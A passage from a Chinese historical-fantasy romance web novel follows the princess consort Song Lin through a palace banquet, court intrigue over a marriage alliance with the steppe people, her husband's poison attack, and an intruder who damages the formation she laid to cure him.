她扫视一圈,在人群中发现了嘉安郡主。
“这回来的人不怎么样啊。”宋檩偏头,借着吃葡萄的姿势挡住嘴唇,和身侧的瞿昙低语。
瞿昙端了酒杯轻珉,视线从人群扫过,“全靠冢中枯骨。”
宋檩眨巴着眼睛,突然起了逗他的心思,拿手指戳了戳他的胳膊。
“这话从你口中说出来……有点不妥吧。”
她的意思是,秦王府也是祖上庇荫。
瞿昙瞧见了她眸子里的狡黠,压低了身子,凑到她耳边,“那我得感谢我的老祖宗。”
耳朵传来轻盈的热风,宋檩觉得痒,一激灵刮过他的耳垂,陌生的触碰让两人都愣住了。
她捂着耳朵往后倾,又气又恼,说话就说话,凑那么近做什么!
瞿昙也没料到事态会发展成这样,拿着酒杯的手握紧,两眼无辜地看着她。
大庭广众之下什么都做不了,宋檩扭头不看他,兀自吃桌上的葡萄。
一碟葡萄很快被吃光了,她看向隔壁桌上还没到动过的那碟,犹豫要不要拿过来吃。
“美丽的姑娘,你竟然也在?”话不是很标准,但听得出来他很高兴。
宋檩疑惑抬头,他已经来到跟前,才发现竟是那天在出宫路上碰见的胡人。
“是你啊……”她正欲开口问他怎么也来了,桌子上多了一碟葡萄。
瞿昙把自己桌上的那碟拿给了她,还摸了摸她的脑袋,在宋檩疑惑的眼神下,温柔出声,“吃吧。”
宋檩:“……”什么情况?
她木讷地摘下一颗葡萄,动作笨拙地往嘴里送,视线却在两人身上游动。
这是皇宫,她若跟眼前这个胡人过于亲近,显然不是件好事。
瞿昙见她没有抗拒,顺势搂住她的肩,一副宣示主权的口吻,“白王认得本王的王妃?”
“你就是秦王妃?”他眉头紧蹙,难以接受这个事实。
宋檩没空管他的心情,递了颗葡萄给身侧的人。
瞿昙明白她的意思,低头咬住。
她扭头眨了眨眼,眯笑道:“甜吗?”
“嗯,很甜。”
两人你来我往,有问必答,旁若无人似的,白王脸色极差,站着生闷气。
在外人看不到的地方,瞿昙悄悄掏出手绢,把葡萄籽吐了出来。
“白王殿下,圣上和皇后马上到了,请就座!”华承璟已经觉察出三人的微妙关系,拽着人离开。
话刚落,殿门入口处响起声音,“皇上,皇后娘娘,贵妃娘娘到!”
宋檩随着起身,在场的人跪了一地。她如今是秦王妃,可见君免跪,只需躬身行礼。
“吾皇万岁万岁万万岁!”
一身明黄袍子的老皇帝到龙椅前站定,扫视着跪了一地的宗室皇亲,眸色深沉,“平身!”
“谢皇上!”
皇帝落座,紧挨着他的陆皇后和薛贵妃分坐左右。
“今日宫宴,各府都曾为大昭立下汗马功劳,是大昭的功臣。胡国与大昭有结秦晋之心,诸位若有意,朕亲自为你们赐婚!”
这话一出,白王立马变了脸,看向华承璟的眼神有些狰狞,“多谢昭皇,这些日子跟五皇子打交道,本王很是满意。”
茹素收到他的暗示,也起身道:“茹素也很满意。”
宋檩见此情形,眼皮一跳,藏在袖子下的拳头也握紧了些。他们到底在说什么,不会真打算嫁给阿兄吧?
她绝对……绝对不允许那样的事情发生。
“父皇,老五和白王算是不打不相识,他们之间绝对不会有任何问题,这点儿臣可以做担保!”华承坤起身拱手道。
他读懂了帝王的心思。
“哪儿都有你!”老皇帝瞪着他一眼,说是瞪,却没什么威慑。
华承坤笑着上前,“父皇息怒,还知道茹素公主准备了舞蹈,儿臣斗胆,请父皇一赏!”
胡人的舞蹈与大昭不同,比之大昭的内敛和精致,他们更加奔放直接,带来的视觉冲突完全不同。
既然人家准备了,哪有不让上场的道理,何况承王亲自求情了。
“茹素公主,请吧!”王公公得到示意,上前宣召。
茹素有备而来,褪下包裹严实的狐皮大衣,一袭大红色的骑马装亮于人前。
整个腰部□□露在外,小腿以下无遮掩,珍珠面纱罩住了半张脸。每走一步都有叮当响声。
宋檩看出来,她的武功底子极好,就连几个高难度的连蹦动作也轻而易举,脚步轻盈,是花了心思的。
“茹素祈愿昭皇身体康健!”舞毕,她单膝跪地,双手合于胸前,做了个祈祷的动作。
老皇帝最喜奉承话,心情愉悦,大笑出声。
“茹素公主不愧是草原之花,有心了,赐座!”
有了老皇帝的吩咐,王公公忙招呼内侍添置桌子。
茹素望向一旁吃东西的宋檩,嘴角微抿,“多谢昭皇,不必麻烦了,我就坐那个位子!”
众人看向她手指着的地方,瞠目结舌,不敢出声。那可是秦王妃的座位!这胡人公主想干什么?
她竟敢公然叫嚣?
在场中人有看笑话的,也有真心担忧的,更多的是看戏,一副事不关己的模样。
所有人都在等一个结果,宋檩却没去搭理,继续吃自己的葡萄,她就快要吃完了。
茹素没料到她全然不搭理自己,急得眼泪都流出来了。
“秦王妃,茹素公主来者是客,也不能一直站着。”老皇帝出声提醒。
只想看戏不给钱,天底下哪有那样的好事
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情?宋檩默默在心里记上一笔。
她拍了拍手,掏出自己的手绢擦拭,笑道:“圣下此言差矣,夫君尚在,臣妇一介妇人,国家大事哪能轮到我说三道四?”
老皇帝被她的话噎住,心下不悦,眼神悠悠地看向瞿昙,“秦王以为呢?”
瞿昙比宋檩还要淡定地放下茶杯,朝着皇帝微微颔首,“回圣上,此事不难。”
他抬手指了指茹素,“公主看上这个位子,给她便是。”
就在众人摸不着头脑之时,他拉起宋檩的手,“本王和王妃去别处。”虽瞧着一副病态,说话却振振有词。
“此举虽有违大昭律法,但公主来者是客,本王和王妃并不介意。”他这一句话,不仅彰显了自己大度,还暗讽了无视律法之人。
包括老皇帝。
陆皇后心里一紧,兄长是当朝的太常卿,专管礼乐仪制,若此时袖手旁观,定会落人口舌。
她看向瞿昙的方向,“大昭律法不可荒废,臣妾觉得茹素公主甚是可爱,不如就在臣妾身边坐着吧,圣上以为如何?”
老皇帝看向身侧的人,薛贵妃一身媚骨确实让人欲罢不能,但紧要关头还是得皇后出面。他握住皇后的手,一脸欣慰出声,“把桌子放在皇后身边。”
茹素公主在皇后身边坐下,她很平静,眸子里并没有太多怨言。
“昭皇陛下,既是为了两国和亲,是不是看上谁都可以?”第一回合茹素已经败了,白王开始第二回合。
他站在人群中,掷地有声。
宋檩不得不停下吃东西的动作,集中精力应对接下来的动作。凭她和阿兄的关系,想过会被胡人刁难,还好她早有准备。
“放心,五皇子不会成为联姻对象。”
耳边传来一道低沉的声音,宋檩抬眼看过去,果见身边的男人不知何时看向了她。
对于瞿昙能看透自己的心思这件事,宋檩一点也不觉得奇怪,她从没刻意在他跟前伪装。
“王爷怎么知道?”
太子妃的人选已经定下,堂堂一国公主,断没有为人妾的道理。如今适龄皇子里只有华承坤和阿兄,承王何许人?断不会娶一个毫无用处的外邦女子。
“胡人不会答应。”瞿昙借着斟酒的工夫靠近了些,在她耳边说着。
话虽如此,兔子急了还咬人,难保他们不会剑走偏锋。放眼大昭,没了阿兄,谁人能与胡人一战?
老皇帝扫视了一圈在场之人,笑道,“白王如此有诚意,朕自当说话算数,不知公主可看中了谁?”
茹素坐在皇后身边,抬头淡笑却不说话。宋檩抬眼发现她对着自己笑,有些莫名其妙。
“回昭皇,茹素刚到中都,与在场诸位并无接触,谈不上倾心。”她垂下来的眸子掩藏起落寞。
来时路上王兄多番告诫她,此次来大昭,她必须嫁给有权势的皇子。
华承璟在昭国朝廷毫无助力,想来没有成为帝王的可能,随时会被丢弃。太子和承王二人,她都不喜欢。
茹素握紧了拳头,儿女私情在家国大业之前算不得什么,她是带着使命来昭国的,诞下大昭未来的储君,助王兄一臂之力!
本以为王兄找到了心仪女子,不承想竟已婚,终究是有缘无分。
“我选她。”
众人顺着他手指的方向看过去,都瞪大了眼睛,鸦雀无声。
35. 打算解毒了
“白王殿下,本王没有那等癖好。”
看门的宫人没留意放进来一丝劲风,吹得人颤栗。谁家酒杯没拿稳,掉在地上发出闷响。
众人:“……”看向白王的眼神多了些意味深长。
这场莫名其妙的针锋相对在老皇帝的大笑声中落下帷幕,座中都是聪明人,权当看了场笑话,不再提及。
上回他毒发是白王敬酒,今天又闹这么一出,不知后面还有什么等着他们。
宴会后半场,宋檩所有精力都聚焦在瞿昙身上,实在是分身乏力。
“王爷,你若感到不适,记得告诉我。”她扯了扯身侧人的袖子,紧张兮兮开口,眉头紧皱,神经绷得紧紧的。
瞿昙感到心中有什么东西被撞了一下,愣愣地不知该说什么。
“听到没?”没得到回应,宋檩不乐意了,见他盯着酒杯发呆,一把夺了过来。
“别喝了。”
他舔了舔有些发干的唇,“我不会逞强。”
宋檩横了他一眼,继续吃葡萄。
“陛下,臣妾想跟秦王妃说说话。”薛贵妃端了酒杯倚在老皇帝胸前,手指轻轻滑过脖颈。
薛贵妃荣宠多年手段了得,且不说她出身薛家,身份高贵,这一身媚骨,就占了先天的优势。
老皇帝年纪大了,征服欲却丝毫未减。
“爱妃想去,朕自然会允。”老皇帝在她的腰上捏了几下,才放人离开。
外人看不到,陆皇后却看得真真切切,轻蔑地扫了一眼,故作什么都没发生。
宋檩看着薛贵妃来到跟前,忙起身相迎。
“见过贵妃娘娘!”
薛贵妃忙托起她的手,眼神不停地打量,一脸满意地笑,“秦王妃模样乖巧,本宫甚是喜欢。”
“秦王,借你的王妃说说体己话可好?”她虽是在问,却一副不容忍拒绝的口吻。
瞿昙看了一眼宋檩,后者摇了摇头,示意他不要忤逆贵妃。
“王妃畏寒,还望贵妃娘娘体恤。”他拱手一拜。
薛贵妃眸色忽紧,身子微僵,笑着拉宋檩离开座位。
角落里一个小太监很快消失。这一切并没引起旁人的注意,好像什么都没发生一般。
“贵妃娘娘可是有话要对臣妇说?”一出大殿薛贵妃就松了手,此时薛贵妃在前,宋檩落后半步距离。
薛贵妃终于不再往前走“其实也没什么,就是想单独与秦王妃说说话。”
宋檩看着她,没有揭穿她的话,心下却开始揣测这位贵妃的用意。
“贵妃娘娘有话不妨直说,这里没有旁人。”
薛贵妃看着她,笑容妩媚,往前靠近了几分,“你可有想过,为何被赐婚给秦王?”
宋檩面色平淡,“我一个被退婚的女子,本就没什么指望,圣上赐婚,王爷不嫌弃,已是万幸。”
“你当真这么以为?”薛贵妃盯着她的脸,想要找出几分别样的情绪。
宋檩毫不退怯地看着她,“贵妃娘娘这话何意?我听不懂。”
薛贵妃被她一席话逗笑,“宋檩呀宋檩,本宫见你是个可塑之才,方才点拨一二,你这般防备,真是让本宫伤心呐!”
“贵妃娘娘见笑了,宋檩何德何能,能得娘娘点拨。只是宋檩名声已毁,自然要谨慎些。”
两人磨了会嘴皮子,薛贵妃意识到她不是个好拿捏的主,表情严肃。
“宋檩,本宫许你秦王府百年荣华,你可敢应?”薛贵妃盯着她,神色凝重。
宋檩惊讶她的胆量,竟然敢在皇宫里说出这样大逆不道的话,摆明了给她下套。
“恕臣妇愚钝,没懂娘娘的意思。”
“秦王府荣宠至此,已是皇恩浩荡。”她笑着回看向薛贵妃,嘴角带笑,故作没听懂话里的隐藏意思。
薛贵妃知她玲珑心思,绝对懂那话里的意思,也不逼迫,“不要急着拒绝,想想秦王府和相府,本宫这里随时欢迎秦王妃。”
她拂了拂衣袖,笑道:“回去吧,再不回去秦王就要找本宫要人了。”
宋檩侧过身子,让出一条道来,目送她离去,身子慢慢站直。她召来小宫女吩咐道,“去告诉秦王,就说王妃闷了,想在外头走走。”
小宫女领了事离去。
宋檩随便找了个亭子,坐着闭目养神。
“秦王妃,又见面了!”
一睁开眼就看到张大脸,宋檩下意识起身。
“阁下,请自重!”
她心下一惊,看向白王的眼神多了些探究和防备。人来到跟前她都没察觉,武功绝对不俗。
只要是活物都会呼吸,他此番定是早有计划。如此有心计,不论目的如何,还是远离些较好。
宋檩心下惊疑,面上却不显,躬身行礼,“既然白王要在此处歇脚,本妃先行离开,就不打扰了,告辞!”
“秦王妃很怕本王?”白王迅速起身,拦住她的去路,大有要问个明白的意思。
“白王此言差矣,我大昭礼法严明,本妃有夫之妇,和王爷单独相处,传了出去有损你我声誉。”
她把话说得很清楚,且礼貌有加,叫人找不出错处,白王完全找不到靠近她的机会。
“王爷。”
白王疑惑她为何突然热情,心下一喜,听到来人的声音蔫下来。
“白王拦住本王的王妃做什么?”瞿昙扫了眼亭子里站着的男人,大步来到宋檩身侧,见她眸子清澈,光明磊落,未有半分躲闪和隐瞒,大手揽过她的肩。
“皇上已经告退,宫宴没我们的事了,本王和王妃先离开,白王随意!”说完,他揽着人大赤赤离开,每一个眼神都在宣誓主权。
宋檩瞥向肩膀上的手,扫了他一眼,没有拂他的面子,跟着离开。
“王爷!”宋檩正在出神,肩膀上的力道突然加重,吓得她一个激灵。
回头看去,发现身边的男人脸色煞白,嘴角竟然已经流出了血迹。还是着了道!
“抱歉,我可能……”瞿昙看向她的眼神满是歉意。
“你闭嘴,我扶你出去!”宋檩是个女子,两人身高上的差距加上力气和体重,要搀扶这么高大个男人出去,实在是有些困难。
她使了九牛二虎之力,才将将不让旁人看出破绽。
“走这边……。”他指向一侧的小路,不仅可以缩短路程,还能避免跟人群碰见。
话还没说完,又是一阵猛烈的咳嗽。
宋檩明白他的意思,毫不耽搁。她们快旁人一步,此时宫门口的人并不多,赶紧往王府马车停靠的地方去。
“王爷!”惊风见自家王爷被搀扶出来,心知这是毒发的前兆。
宋檩给了他一个眼神,示意他别出声。待走近了些,才叮嘱出声,“速回王府。”
关上马车门,光线暗淡,瞿昙已经闭目躺在那里。
“王爷,恐怕还得麻烦你再坚持下。”她没有过问自己离开这
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段时间发生了什么,也没问他为何急匆匆地走。
当务之急,是压制毒发。
瞿昙勉强睁开眼,把全部注意力都转移到她身上,尽力忽视浑身上下传来的痛感。
见她眉头紧锁,满脸担忧,咧嘴笑了。
“不疼吗?”竟还笑得出来!想说他几句,看他难受没说出口。
瞿昙点头,“疼,王妃可有不疼的法子……”
“我又不是医者,哪知道那些?”细细一想,她修习的阵法中也没有这种功效。
说起阵法,她抿嘴看向躺着的男人,欲言又止,“要不……”
瞿昙摇头拒绝。
“你说过……阵法耗神,才过几天,不能再用了,黎樾手里有些药……”一口气说不完一句话,听得她着急。
“你别说话了。”
宫门口到王府这段路走过几次,宋檩从没觉得这么煎熬,时刻提防他发作。马车终于在王府门口停下来,桑无疾和黎樾早已候在那里。
“王妃,快将药丸给王爷服下!”黎樾在一边急得团团转,他就知道入宫没好事。
宋檩接过药瓶,倒出几粒在掌心,喂他服下。
黎樾给的药丸见效极快,下肚不过一炷香的工夫,脸色肉眼可见得变好。
宋檩提着的一口气终于呼出来,“把人扶进去。”
没有威胁时,搀人的力气活就成了惊风的,宋檩和黎樾说着解毒一事,桑无疾发现自己成了多余的。
“桑公子。”
突然听到自己的名字,他疑惑抬头。
“你也过来,一起到花厅集合。”宋檩面容严肃,所有人都意识到事情的严重性,不敢怠慢。
安管事也被叫到了花厅,除了瞿昙这个正主,王府主事的人全到齐了。
宋檩示意几人落座,“天气转凉,我决定把解毒时间提前。”
正欲坐下的安管事倏地站起身,担心自己年老耳背听出了,立马开口询问,“王妃是说现在就要给王爷解毒,不等下雪了?”
“正是。”宋檩点头。
这是平衡取舍后做出的决定。
先前把解毒时间推后无非是为离京做准备,眼下她一时半会儿离不了京。下雪时候解毒她没那么难受,且睡眠阵法可以压制,能拖一时就拖一时。
现在不一样了。自打胡人入京,他短时间内发作两次,铁打的身子也扛不住这么造。
与其这样,倒不如早早替他解了,省得提心吊胆。
最高兴的莫过于黎樾,他终于可以见识王妃的特殊解毒之法了,“王妃放心,我这边一切备妥!”
“我这边的房子随时可以使用,药材也都备好了。”桑无疾举起扇子,“我还有个问题。”
宋檩看着他,示意他说。
“提前解毒,会不会对你有很大影响?”
宋檩没料到他会提起这个,影响自然是有的,任何事情都会付出代价。
她的沉默让桑无疾一颗心沉到了谷底,他跟瞿昙聊起过这事,加之每回压制毒素都会反噬,这回不得不留个心眼。
黎樾也看着她,虽说解毒很重要,但为医者,绝不愿做一命换一命的事。
宋檩摆了摆手,笑得没心没肺,“任何事都有代价。”
“当然,我是个惜命的人,做出这个决定,也是权衡之后的选择。”
桑无疾颔首,如此,瞿昙那里他也好交差了。
“好,随时待命!”
36. 算半个先生
从皇宫回来后,一连几天,宋檩忙得脚不离地,一次也没去看过瞿昙。
如苑内,瞿昙被限制在床上躺了三天,终于躺不住挪去了书房。
桑无疾坐在一边,看着已经不知道是第几次发呆的男人,想笑又不敢戳破,这架势明显不对劲。
“我说,你要是身体不适就不要看了,这一页到底有多难懂,一个时辰都没见你翻个页!”他摇着扇子,一副看好戏的眼神。
瞿昙睨了他一眼,合上书册,心里烦闷。
桑无疾摸了摸鼻子,故作不经意道:“你这段时间倒是躲得清闲,可是苦了王妃咯!”
瞿昙眼神一凝,手上动作一顿。
第四天了,终于听到了这个称呼。
也不知为何,这几天他身边的人都刻意避开宋檩,他又不好直接问,导致完全得不到一点关于她的消息。
“王妃怎么了?”他心下已经好奇不已,脸上却不显。
虚伪!桑无疾鄙夷地看了他一眼。
“也没啥,就脚不离地,早出晚归。”至于去外边都做了些什么,他没有问,就没必要说了。
这些事情,只需要稍微动动嘴,随便叫个人问一下就知道了,毕竟宋檩没有打算瞒着。
桑无疾突然起身,来到他的身边,隔着一张办公桌,一只手重重地搭在他的肩膀上。
“王爷,站在旁观者和好兄弟的立场上,我说句公道话,王妃待你确实不错,你当真要等毒解了就放她走?”
瞿昙直勾勾地看着他,紧抿着唇不说话。
宋檩是个好姑娘,他比谁都清楚。只是眼下这残破身体给不了她未来,毒一天未解,他就没资格挽留。
桑无疾看他那副样子就来气,“我明白你的顾虑,王妃都说了能治好,你怎么就不信呢?”
“王妃的本事,你也是见过的。”
他自认自己见多识广,新婚夜那次的场面还是头一回见识,凭这他就盲目信任王妃。
“你昏睡这段日子汪明飞来过,关于平康坊一案的事宜,王妃已经和他交涉完了,具体事宜还是让王妃亲自跟你说比较好。”他摇了摇扇子,往书房外走。
桑无疾和宋檩在书房外相遇,他的眼神让人瘆得慌,宋檩匆匆打了个照面就进去了。
“惊风说你在书房,怎么又不听话好好躺着?”她一来就是问询的语气,瞿昙直接被气笑了。
“王妃怎么跟安管事一样,总爱管这管那的。”
宋檩瞥了他一眼,眯着眼睛道:“你若不是我的患者,我才懒得管你!”
她剜了一眼,坐下给自己倒了杯水。
瞿昙闭嘴不说话,此时才发现,她的王妃似乎刚从外边回来,额头上还挂着汗滴。
瞿昙自己都没有发现,他看向宋檩的眼神里满是温柔。“好,那我以后什么都听你的。”
宋檩挑了挑眉,一副“这还差不多”的得意神态。
“林歌,进来!”宋檩没有在这个问题上纠结,将林歌唤了进来,从她手里接过折子,放在案桌上。
“王爷,请过目!”
瞿昙只拿过来大致扫了几眼,不得不说,她处理得很好,尤其是在安抚百姓这方面,鲜少有人做得这么细致。
“做得很好。”他毫不吝惜自己的夸赞,从椅子上起身,笑着道:“国公爷当年惊才艳绝天下,是当之无愧的大儒,王妃不愧是长在他膝下,深得国公爷真传。”
这般才学,只怕五皇子也要稍逊一筹。
宋檩眸子一亮,疑惑道:“你认得我外祖?”
她所知道的,老国公的弟子中有名之人不少,但瞿昙出身秦王府,应不是他的弟子。只是他神色清明,不像是在骗自己,这是为何?
瞿昙摇了摇头,“说来秦王府与国公府也算世交,当年老国公外出游学,恰路过王府驻地,对我有指点之恩。”
“算得上半个先生。”说起那件往事,瞿昙想到了父母,眸子里染上几分落寞。
宋檩觉得这可能就是缘分吧,他与老国公之间没有师生缘,却有另一份祖孙缘。
“原来是这样。”
宋檩想了想,决定就上次在宫里发生的问题同他说上一说。许是刚才他说起了老国公,莫名少了些疏离。
“王爷,其实上次在御花园,薛贵妃想让我答应相帮承王。”
瞿昙看了她一眼,示意她继续。
宋檩拿不准他心里到底怎么想的,只得继续道:“薛贵妃许诺我秦王府的百年荣华。”
“王妃应了?”
对于他毫不在意的神态,宋檩翻了个白眼,她是脑子被驴踢了才会答应。
“秦王府早已荣宠至极,她还能将皇位让出来不成?”
瞿昙摇了摇头,语气之间却看不到不悦,“王妃这话要是教今上听见,恐怕得急了。”
“王爷,我有个事想问问你。”
显然是为了讨好他,宋檩眨巴着眼睛,尽显萌态。
瞿昙藏在袖中的手紧握了几分,喉结不自然地滚动着,“什么事?”
“关于蓉花玉简,王爷到底知道多少?”宋檩沉迷在自己的思绪内,根本没注意到身边男人的变化。
怎么问到这个上面了?瞿昙瞬间清醒,疑惑地看着眼前人,他突然有点明白了。
“你牵涉其中了?”
宋檩摇头,前段时间因调查这事打草惊蛇后就没再有动作了,她的身份应该还没暴露。
“蓉花玉简与皇室渊源颇深,牵涉太广,你既身处事外,就别再插手这件事情。”他言辞恳切,容不得人质疑。
宋檩更加确信他知道个中原委。
当初让林歌去查,了解到老王爷应该知晓原委。可惜老王爷常年在外,未得一见,没机会问。
如今想来,身为秦王府的继承人,瞿昙应该也是知情人。得想法子从他嘴里知道点东西。
她清了清嗓子,惊讶出声,“我只知玉简背后有一股势力,渗入朝廷和江湖,没想到还与皇室有关。”
“谁告诉你的?”瞿昙诧异他竟然知道这个。
“我爹。”宋檩脱口而出。
古老不能暴于人前,只能让她爹顶上了。
瞿昙叹气,“宋相毕竟是国公爷最得意的门生,又是女婿,知道些事情也正常。”
宋檩趁势追击,“听王爷的意思,相府已经牵涉其中了,貌似王府也撇不开干系,这么说来,我如何置身事外?”
她的企图很明显,瞿昙自然不会上当。
“话虽这么说,但事情不是这么论的,你不必试探我。”他喝着茶水,悠闲惬意得很。
什么都问不出来,宋檩有些惆怅。
“这些日子没去廷尉府,也不知林武的伤势如何了。”
这话一出,瞿昙放下茶杯,脸色凝重,“近日廷尉府外多了些生人,你别过去。”
还有人敢盯廷尉府?
“刺杀林武的那些人?”廷尉府好歹是朝廷机构,如此明目张胆,怕是被抓住了把柄。
文献礼现下不在廷尉府,虞廷尉不管事,一旦发生点什么,圣上只会怪罪到瞿昙头上。
想到这里,宋檩坐不住了。
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“想法子把林武接出来。”
瞿昙不赞成她的法子,“他虽恢复不错,到底伤了腿上筋脉,行动不便,冒然出门目标太大。”
“眼下你最紧要的是养精蓄锐,毒素在你体内盘踞多年,去除无疑抽筋洗髓,少不得养些日子。”
“其余事就别管了。”宋檩否决他的意见。
她是个有主见的人,打定了主意的事情很难改变,瞿昙叹气。
“什么时候开始?”
宋檩深吸了口气,有一股壮士断腕般的悲壮,“明日我再去确定一下,回来告知你具体时间。”
才从书房出来,门房来报,相府的展护卫来了,有急事要见她一面。
“林歌,你去请展护卫。”
展颜在相府对她照顾有加,又是宋明书的心腹,此时来见自己,必定有重要的事情。
“给王妃请安。”展颜来到如苑的第一件事情就是请安,亲眼见自家姑娘过得不错,一脸欣慰。
他今日过来,除了看看王妃的处境,还有一件重要的事情。
“展护卫不必多礼,今日前来,可是发生了什么事情?”
宋檩心里揣测,相府的大小事情就那么几件,估摸这次的事跟宋沅有关。
展颜抬眼看着她,“相爷本不愿麻烦王妃,可此事关系重大,又也不好随便拿主意,才叫属下过来寻王妃。”
她递给展颜一杯茶水,叫人坐下,“有什么事慢慢说,不急。”
展颜为她的懂事欣慰,想到宋沅又有些心寒,“上回宫宴一结束,承王来府里见了相爷,想求娶三姑娘。”
“王妃清楚承王的为人,动机不纯,对相府别有心思,偏三姑娘执拗,非他不嫁。”
一提起这事,展颜就叹气,府上几位姑娘也算是他看着长大的,三姑娘嫉恶如仇,性格偏执,虽有几分心机,却很容易被人拿捏住。
承王是什么人?敢跟太子叫板,岂会对她真情?
宋檩但笑不语。
华承坤确实心思不纯,但宋沅也不简单,能在宋姿和侯宛仪的眼皮子底下跟承王搭上线,绝不是莽撞之人。
“爹爹是什么意思?”
展颜担心她与相爷离心,犹豫再三才出口,“老爷也拿不定主意,才叫属下过来听听王妃的意思。”
眼下秦王府和相府因姻亲关系绑在一起,便是没什么利益勾连,在外人看来已是一艘船上的人。
展颜正是清楚这一点,才会过来问她的意思,某种程度上也想探一探秦王府的态度。
展颜明白的理儿她自然也懂,可她心里清楚,这件事情是属于相府,跟秦王府没有任何关系。
她会做出尽量不牵扯秦王府的决定。
“你确定承王说的是娶三妹妹为正妃,而不是侧妃或者另有要求?咱们大昭律法,亲王可以立双妃。”华承坤惯会算计,说的话未必当真。
“相爷说是娶为正妃!”这个问题他当时有问过,相爷很坚定地告诉他。“正因如此,相爷才觉事情不简单。”
宋檩点头,“这件事情我已知晓。”
“你回去告诉爹爹,就说这件事他不必管了,事情该如何就如何。承王那里,就回他说全看侯夫人的意思。”
宋檩大脑转得飞快,华承坤不单单是想得到相府的支持,眼下这个局面,应该更想要跟秦王府和阿兄相助。
可惜,这次他的算盘打错了。
“属下这就去回禀相爷!”他猜不透王妃的意思,但相信相爷明白王妃的良苦用心。
“林歌,送展护卫。”
37. 破坏了阵法
发生在王府里的事情,自然逃不过瞿昙的眼睛,她也没有隐瞒的打算。
展颜一到王府惊风就收到了消息,知晓王妃的性子,绝不会主动提起相府的事,他马上安排人去查,得来的消息已经一五一十地告诉瞿昙。
说完就站在一边等待吩咐,左等右等只等到一句让他下去。惊风一脸茫然,他怎么越来越看不懂王爷了?
瞿昙一人待在书房里,想起刚才惊风说的事,心里说不出的滋味。
自打当了秦王妃,宋檩的邀约多了起来,几乎隔两天就能收到京中大大小小贵人们的请帖。
大多无关紧要,看过就罢,牵涉人情往来的人家,着安管事备礼送去府上,不得不推辞的需要她亲自前去。
比如今天收到的这个,京兆府尹汪明飞家老太君的寿辰,安管事亲自送来请帖,提醒她须得出席。
“王妃出入这样的场合,需要准备的东西,还请安管事指点。”林歌去安管事身边问道。
安管事本就很满意这个王妃,林歌做事踏实,又是个嘴严实不多话的主,说到底这是王府的事情,她们愿意上心,自己当然乐意说几句。
“王妃是客人,不必刻意去讨好旁人。至于贺礼,王府公出,会有具体的造册。”
“老太君毕竟有诰命在身,王妃只需露个脸就成。”
林歌心头一喜,高高兴兴地送他出门。
宋檩和汪明飞有交集始于平康坊一事,那之后她就对汪家多了些关注。
汪明飞膝下一儿一女,到了年龄却未婚嫁。汪家虽是落魄士族,在江南也算书香之家。
但汪家公子不翡偏好习武,对为官之事毫无耐心。一年前胡人进犯北疆,他闹着要去从军,硬生生在家关了五日。
汪家这一脉就这么个独苗苗,老太君含在嘴里怕化了。汪明飞无法,只得在禁卫军中替他谋了个差事。
士族之家看不上行伍出身,自打他去了禁卫军,再无人上门说媒,婚事白白耽搁。
至于汪家姑娘,本就身子不好,有这么个兄长在前,谋求一桩合适的婚事也不是件易事。
“姑娘在想什么?”送完安管事回来的林歌见她发呆,拍了拍她的肩膀。
宋檩叹气,“没什么,你收拾一下,明日随我一道去汪府。”
原本她打算明日一早去核查小院,顺便趁无人布下阵法,突然多了道去汪府的行程,打乱了她的计划。
遂决定今晚去布阵。
治毒的小院就在王府内,只是距离主院有些距离,在后山下的那片竹林深处。选在那里,主要是人少僻静,动静再大外边轻易看不见。
晚膳过后,宋檩借消食的名义往后山去。
王府的人办事她相当满意,这个小院完全符合她的预期,沿周边转了一圈才推门进去。
周遭竹子密密麻麻,独这个四方小院可以窥见月亮,简直是天选布阵地。
宋檩在小院忙活了一个多时辰,晚膳吃的东西全消化了,摸着饥肠辘辘的肚子往如苑去。
“林歌,去厨房拿点吃食。”
林歌正在换被褥,听到声音扭头去看,吓了一跳。
出门时还好好的,才一个多时辰就成了这副样子!
“姑娘,发生了何事?”她将要拿去换洗的东西一股脑丢进竹筐,顾不得整理床榻,过去扶她。
宋檩摆手,“去了趟小院,累死我了。”
“姑娘先歇着,属下这就去厨房。”
林歌猜到姑娘去小院干了什么,不敢耽搁,忙去厨房拿了些宵夜。
宋檩顾不得形象,狼吞虎咽吃起来。
才吃了没几口,突觉一阵眩晕,碗筷掉落在地上。林歌第一次见到这样的情况,忙大声喊人。
一墙之隔的瞿昙和惊风循声赶来,恰看到她吐血的场面。
“快去找黎樾!”瞿昙朝已经愣住的惊风喊话。
“不必!”宋檩终于缓过神来,擦掉嘴角的血渍,倚着桌子颤颤巍巍起身。
林歌忙扶着她。
“王爷,”宋檩甩了甩脑袋,一双利眸锁住小院方向,“去小院。”
瞿昙看向惊风,惊风立马出门召集人手。
一行人赶到小院,发现院中有异动。宋檩手一挥,什么东西掉在地上,砸出闷响声。
惊风踹门入内,看到跌在地上的黑衣人,持刀上前,抵住她的命脉。
宋檩缓步踏入小院,眼神紧紧锁住地上的人。
“你是何人?”
这是她第一次遇到懂相同阵法的人,交手之下险胜,却也给她敲了警钟。
黑衣女子只是看着她,闭口不言。
继续僵持不是办法,这里的阵法有损毁,她得进行修补。
宋檩拱手给瞿昙行礼,“王爷,烦请将此人交给我,待我修补完此间阵法就去审问。”
惊风意外地看了她一眼,闯入王府的贼人他自会好好审问,王妃的意思是要亲自审问?
他看向瞿昙,等人拿主意。
“把人交给王妃。”
话落,宋檩以一种诡异的步法走过去,在他们还没反应过来时,扯下黑衣女子的面纱,往她嘴里塞入一个东西。
“你……给我吃了什么?”黑衣人惊问。
宋檩笑着看向她,没说话。众人看着那黑衣女子倒地,不省人事。
“林歌,把她带回去。”
瞿昙给惊风使了个眼色,示意他跟上保护。
小院只剩下两人,宋檩看了瞿昙一眼,先时给压制毒发已经在他跟前使用过阵法,这人嘴巴严实得很。
她抬手念念有词,忽地一掌拍在地上,小院内起了一股飓风,竹叶唰唰响,一刻钟后归于平静。
宋檩反弹起身,退后几步才勉强站稳。
“你还好吧?”瞿昙揽住她的肩,环顾小院四周的变化。
“劳烦王爷带我回去。”先前跟人斗法本就损了心脉,修补阵法又是个大工程,她现下又累又疲,恨不得倒头就睡。
瞿昙不敢耽搁,抱着她往如苑去。
安管事端了人参鸡汤过来,她一人足足喝了两大碗才缓过来。抬手让林歌扶起身,瞿昙抢先一步。
她眨眼看着还在这屋子里的人,“王爷,你先回去歇着吧,有林歌在不会出什么事的。”
一个毒发虚弱,正在静养,另一个也成了半死不活的样子,安管事忧心忡忡。
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“王爷既担心王妃,不如今夜就在此歇下……”
“不行!”不待他说完,宋檩果断拒绝。她眼神闪烁,“我……睡觉不老实,会吵着王爷休息,休息不好可熬不住解毒。”
众人:“……”
